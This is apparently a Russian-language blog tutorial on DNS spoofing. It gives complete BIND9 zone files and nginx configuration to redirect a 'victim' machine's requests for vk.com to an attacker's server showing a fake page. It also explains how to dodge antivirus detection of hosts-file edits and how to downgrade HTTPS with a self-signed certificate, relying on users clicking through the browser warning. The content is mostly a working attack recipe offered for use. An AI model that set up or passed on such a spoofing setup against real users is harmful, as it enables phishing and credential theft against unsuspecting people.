Материал просмотрен 2,653 раз(а)

Я специально назвал статью так, чтобы она хорошо искалась в яндексе ) Ну ладно, шутки в сторону. Порой возникают ситуации, когда нужно сделать так, чтобы по определенному url открывался совсем другой сайт.

Есть несколько способов добиться этого. Можно добавить сайт в файл /etc/hosts (C:\windows\system32\drivers\etc\hosts), но не всегда это возможно. Во-первых, палево на стороне клиента. Многие инструменты и антивирусные средства палят этот файл. Во вторых, недостаточная гибкость. Если нам потребуется добавить ещё один фейковый сайт – придется снова модифицировать hosts, что может быть уже невозможно.

Мы же будем делать практически универсальное средство – подмена DNS.

Как всё будет работать? Установим в качестве DNS клиенту наш сервер, который будет возвращать угодные нам IP для некоторых адресов, а остальные резолвить как и раньше. Итак, начинаем! Для примера будет перехватывать все обращения к сайту vk.com. IP жертвы: 192.168.1.100, IP сервера 192.168.1.104;

Шаг 1. Устанавливаем BIND9 на наш сервер.

Ну ситуация ничем не осложняется, выбираем сервер (да хоть виртуальную машину в локалке), либо VDS какой-нибудь, что предпочтительнее.

# apt-get install bind9

Шаг 2. Настраиваем BIND9

1. Файл /etc/bind/named.conf.options

options {
directory "/var/cache/bind";
auth-nxdomain no;
listen-on-v6 { none; } ;
forwarders {
192.168.1.1;
8.8.8.8;
};
forward first; #
};

2. Файл /etc/bind/named.conf.local

zone "vk.com" {
type master;
file "/etc/bind/db.com";
};
zone "1.168.192.in-addr.arpa" {
type master;
file "/etc/bind/1.168.192.in-addr.arpa.zone";
};

3. Создадим файлы /etc/bind/db.com
$TTL 30
$ORIGIN vk.com.
@    IN    SOA   ns1.vk.com. root.vk.com. (
2014110300
1h
1h
1h
1h
);
@    IN     NS    ns1.vk.com.
@    IN    A    192.168.1.104
vk    IN   A    192.168.1.104
ns1  IN   A    192.168.1.1

4. Файл /etc/bind/1.168.192.in-addr.arpa.zone

$TTL 30
$ORIGIN 1.168.192.in-addr.arpa.
@    IN    SOA    ns1.vk.com. root.vk.com. (
2014110301
1h
1h
1h
2h
);
NS ns1.vk.com.
1    PTR    ns1.vk.com.
2    PTR   vk.com.

5. Файл /etc/default/bind9

...
RESOLVCONF=yes
...

Перезапускаем bind

# /etc/init.d/bind9 restart

Шаг 3. Ставим заглушку на nginx

# apt-get install nginx

Прописываем себе dns нашего “злого” сервера. Всё, что нужно будет хакеру – прописать каким-нибудь способом свой подставной dns-сервер.

Подставной DNS

Подставной DNS

Не буду сейчас приводить способы делания фейков сайтов, это легко. Мы будем показывать стандартную заглушку nginx-а.

А вот и фейк

А вот и фейк

Это если по http – не проблема! Видим произвольный сайт и http://vk.com в браузере. А что, если у нас https? Тогда будет не найдена страница. Почему? Да потому что nginx у нас слушает только 80 порт, а не 443. Будем исправлять.

# nano /etc/nginx/conf.d/default.conf

добавляем новый инстанс сервера:

server {
listen 443;
server_name vk.com;
ssl on;
ssl_certificate /etc/nginx/ssl/server.crt;
ssl_certificate_key /etc/nginx/ssl/server.key;
rewrite ^(.*) http://vk.com$1 permanent;
}

Как делать сертификаты для себя – будет описано здесь.

Конечно браузер ругнется, что нет доверия сертификату. Но что делать юзеру? Там будет ссылка для продолжения. И будет редиректить на сайт http.

Вот такие дела.

P.S. Если нужно сбросить кеш DNS на винде (записи берутся сперва из кеша, а потом уже запросы с сервера) выполняем команду:

> ipconfig /flushdns